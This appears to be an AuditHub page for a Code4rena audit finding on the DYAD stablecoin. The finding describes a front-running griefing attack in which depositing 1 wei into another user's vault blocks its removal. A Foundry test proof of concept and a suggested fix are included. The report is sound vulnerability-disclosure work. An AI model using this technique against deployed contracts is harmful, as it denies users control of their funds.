DYAD - SovaSlava's results

The first capital efficient overcollateralized stablecoin.

General Information

Platform: Code4rena

Start Date: 18/04/2024

Pot Size: $36,500 USDC

Total HM: 19

Participants: 183

Period: 7 days

Judge: Koolex

Id: 367

League: ETH

DYAD

Findings Distribution

Researcher Performance

Rank: 119/183

Findings: 1

Award: $7.35

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

7.3512 USDC - $7.35

Labels

bug
2 (Med Risk)
satisfactory
sufficient quality report
duplicate-118

External Links

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/VaultManagerV2.sol#L119-L125

Vulnerability details

Impact

The attacker can prevent the user from removing the volt. When removing the volt, there is a check that there are no funds on it. The protocol allows anyone to make deposits in other people's volts. An attacker can take advantage of this and frontrun the user’s transaction to remove volt, making deposit 1 vei into the user’s vault. The user will receive an error because volt contains funds.

Proof of Concept

Add this code into test/VaultManager.t.sol

 function test_preventRemove() public {
    address user = makeAddr("user");
    address attacker = makeAddr("attacker");

    vm.deal(user, 1 ether);
    vm.deal(attacker, 1 wei);
    vm.startPrank(user);
      uint id = dNft.mintNft{value: 1 ether}(user);
      vaultManager.add(id, address(wethVault));
    vm.stopPrank();
    // Attacker frontrun user's tx vaultManager.remove()
    vm.startPrank(attacker);
      weth.deposit{value: 1 wei}();
      weth.approve(address(vaultManager), 1 wei);
      vaultManager.deposit(id, address(wethVault), 1 wei);
    vm.stopPrank();
    vm.prank(user);
      vm.expectRevert(0x53a4f9b4); // VaultHasAssets.selector
      vaultManager.remove(id, address(wethVault));   
  }

Tools Used

Manual review

When removing the volt, automatically withdraw funds to the address of the owner of the NFT

Assessed type

Other

#0 - c4-pre-sort

2024-04-29T08:23:11Z

JustDravee marked the issue as duplicate of #489

#1 - c4-pre-sort

2024-04-29T09:28:57Z

JustDravee marked the issue as sufficient quality report

#2 - c4-judge

2024-05-05T20:39:24Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#3 - c4-judge

2024-05-05T20:39:58Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#4 - c4-judge

2024-05-05T21:44:44Z

koolexcrypto marked the issue as nullified

#5 - c4-judge

2024-05-05T21:44:48Z

koolexcrypto marked the issue as not nullified

#6 - c4-judge

2024-05-05T21:44:53Z

koolexcrypto marked the issue as not a duplicate

#7 - c4-judge

2024-05-06T08:54:11Z

koolexcrypto marked the issue as duplicate of #118

#8 - c4-judge

2024-05-11T12:23:58Z

koolexcrypto marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter